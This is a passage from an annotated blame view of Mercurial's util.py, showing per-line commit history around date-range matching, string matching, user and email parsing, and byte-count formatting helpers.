5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2167 >>> f(p3[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2168 True
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2169 >>> f(p4[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2170 False
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2171 >>> f(p5[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2172 False
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2173 """
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2174
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2175 def lower(date):
20679
0916f829eb8d util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents: 20542
diff changeset
2176 d = {'mb': "1", 'd': "1"}
6230
c7253d1a774e dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents: 6229
diff changeset
2177 return parsedate(date, extendeddateformats, d)[0]
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2178
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2179 def upper(date):
20679
0916f829eb8d util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents: 20542
diff changeset
2180 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
13200
6f011cf52f9a avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents: 13197
diff changeset
2181 for days in ("31", "30", "29"):
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2182 try:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2183 d["d"] = days
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2184 return parsedate(date, extendeddateformats, d)[0]
16688
cfb6682961b8 cleanup: replace naked excepts with more specific ones
Brodie Rao <brodie@sf.io>
parents: 16397
diff changeset
2185 except Abort:
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2186 pass
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2187 d["d"] = "28"
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2188 return parsedate(date, extendeddateformats, d)[0]
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2189
7953
8c6f823efcc9 Correct a bug on date formats with '>' or '<' accompanied by space characters.
Justin Peng <justin.peng.sw@gmail.com>
parents: 7948
diff changeset
2190 date = date.strip()
13780
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
2191
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
2192 if not date:
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
2193 raise Abort(_("dates cannot consist entirely of whitespace"))
bc7b5d1c1999 util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents: 13734
diff changeset
2194 elif date[0] == "<":
13869
b470894c33f8 date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents: 13867
diff changeset
2195 if not date[1:]:
13886
fe48c57390f2 help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents: 13879
diff changeset
2196 raise Abort(_("invalid day spec, use '<DATE'"))
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2197 when = upper(date[1:])
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2198 return lambda x: x <= when
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2199 elif date[0] == ">":
13869
b470894c33f8 date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents: 13867
diff changeset
2200 if not date[1:]:
13886
fe48c57390f2 help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents: 13879
diff changeset
2201 raise Abort(_("invalid day spec, use '>DATE'"))
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2202 when = lower(date[1:])
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2203 return lambda x: x >= when
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2204 elif date[0] == "-":
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2205 try:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2206 days = int(date[1:])
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2207 except ValueError:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2208 raise Abort(_("invalid day spec: %s") % date[1:])
13889
9a96efc4af8a util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents: 13886
diff changeset
2209 if days < 0:
29981
73b1c328a7da util: use single quotes in use warning
timeless <timeless@mozdev.org>
parents: 29893
diff changeset
2210 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
13889
9a96efc4af8a util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents: 13886
diff changeset
2211 % date[1:])
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2212 when = makedate()[0] - days * 3600 * 24
3813
fc5ba0ab7f45 Add --date support to log
Matt Mackall <mpm@selenic.com>
parents: 3812
diff changeset
2213 return lambda x: x >= when
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2214 elif " to " in date:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2215 a, b = date.split(" to ")
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2216 start, stop = lower(a), upper(b)
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2217 return lambda x: x >= start and x <= stop
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2218 else:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2219 start, stop = lower(date), upper(date)
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2220 return lambda x: x >= start and x <= stop
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2221
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2222 def stringmatcher(pattern, casesensitive=True):
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2223 """
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2224 accepts a string, possibly starting with 're:' or 'literal:' prefix.
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2225 returns the matcher name, pattern, and matcher function.
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2226 missing or unknown prefixes are treated as literal matches.
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2227
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2228 helper for tests:
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2229 >>> def test(pattern, *tests):
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2230 ... kind, pattern, matcher = stringmatcher(pattern)
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2231 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2232 >>> def itest(pattern, *tests):
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2233 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2234 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2235
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2236 exact matching (no prefix):
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2237 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2238 ('literal', 'abcdefg', [False, False, True])
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2239
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2240 regex matching ('re:' prefix)
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2241 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2242 ('re', 'a.+b', [False, False, True])
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2243
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2244 force exact matches ('literal:' prefix)
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2245 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2246 ('literal', 're:foobar', [False, True])
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2247
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2248 unknown prefixes are ignored and treated as literals
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2249 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2250 ('literal', 'foo:bar', [False, False, True])
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2251
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2252 case insensitive regex matches
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2253 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2254 ('re', 'A.+b', [False, False, True])
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2255
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2256 case insensitive literal matches
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2257 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2258 ('literal', 'ABCDEFG', [False, False, True])
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2259 """
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2260 if pattern.startswith('re:'):
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2261 pattern = pattern[3:]
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2262 try:
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2263 flags = 0
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2264 if not casesensitive:
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2265 flags = remod.I
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2266 regex = remod.compile(pattern, flags)
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2267 except remod.error as e:
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2268 raise error.ParseError(_('invalid regular expression: %s')
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2269 % e)
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2270 return 're', pattern, regex.search
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2271 elif pattern.startswith('literal:'):
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2272 pattern = pattern[8:]
30773
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2273
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2274 match = pattern.__eq__
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2275
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2276 if not casesensitive:
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2277 ipat = encoding.lower(pattern)
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2278 match = lambda s: ipat == encoding.lower(s)
c390b40fe1d7 util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents: 30761
diff changeset
2279 return 'literal', pattern, match
26481
7d132557e44a util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents: 26480
diff changeset
2280
1903
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2281 def shortuser(user):
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2282 """Return a short representation of a user name or email address."""
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2283 f = user.find('@')
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2284 if f >= 0:
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2285 user = user[:f]
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2286 f = user.find('<')
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2287 if f >= 0:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2288 user = user[f + 1:]
3176
7492b33bdd9f shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3147
diff changeset
2289 f = user.find(' ')
7492b33bdd9f shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3147
diff changeset
2290 if f >= 0:
7492b33bdd9f shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3147
diff changeset
2291 user = user[:f]
3533
bb44489b901f shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents: 3466
diff changeset
2292 f = user.find('.')
bb44489b901f shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents: 3466
diff changeset
2293 if f >= 0:
bb44489b901f shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents: 3466
diff changeset
2294 user = user[:f]
1903
e4abeafd6eb1 move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2295 return user
1920
b7cc0f323a4c merge with crew.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1903 1882
diff changeset
2296
16360
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2297 def emailuser(user):
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2298 """Return the user portion of an email address."""
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2299 f = user.find('@')
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2300 if f >= 0:
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2301 user = user[:f]
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2302 f = user.find('<')
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2303 if f >= 0:
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2304 user = user[f + 1:]
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2305 return user
e5788269741a templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents: 15720
diff changeset
2306
5975
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
2307 def email(author):
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
2308 '''get email of author.'''
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
2309 r = author.find('>')
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2310 if r == -1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2311 r = None
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2312 return author[author.find('<') + 1:r]
5975
75d9fe70c654 templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents: 5949
diff changeset
2313
3767
1861fa38a6a7 Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3721
diff changeset
2314 def ellipsis(text, maxlength=400):
21857
86c2d792a4b7 util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21813
diff changeset
2315 """Trim string to at most maxlength (default: 400) columns in display."""
86c2d792a4b7 util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21813
diff changeset
2316 return encoding.trim(text, maxlength, ellipsis='...')
3767
1861fa38a6a7 Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 3721
diff changeset
2317
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2318 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2319 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2320
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2321 def go(count):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2322 for multiplier, divisor, format in unittable:
31946
f3b80537a70d util: fix human-readable printing of negative byte counts
G?bor Stefanik <gabor.stefanik@nng.com>
parents: 31934
diff changeset
2323 if abs(count) >= divisor * multiplier:
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2324 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2325 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2326
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2327 return go
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2328
31667
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2329 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2330 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2331 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2332
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2333 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2334 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2335 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2336 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2337 ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2338 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2339 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2340 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2341 ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2342 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2343 """
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2344 if toline - fromline < 0:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2345 raise error.ParseError(_("line range must be positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2346 if fromline < 1:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2347 raise error.ParseError(_("fromline must be strictly positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2348 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31603
diff changeset
2349
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2350 bytecount = unitcountfn(
16397
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2351 (100, 1 << 30, _('%.0f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2352 (10, 1 << 30, _('%.1f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2353 (1, 1 << 30, _('%.2f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2354 (100, 1 << 20, _('%.0f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2355 (10, 1 << 20, _('%.1f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2356 (1, 1 << 20, _('%.2f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2357 (100, 1 << 10, _('%.0f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2358 (10, 1 << 10, _('%.1f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2359 (1, 1 << 10, _('%.2f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2360 (1, 1, _('%.0f bytes')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2361 )
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2362
31779
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2363 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2364 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2365 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
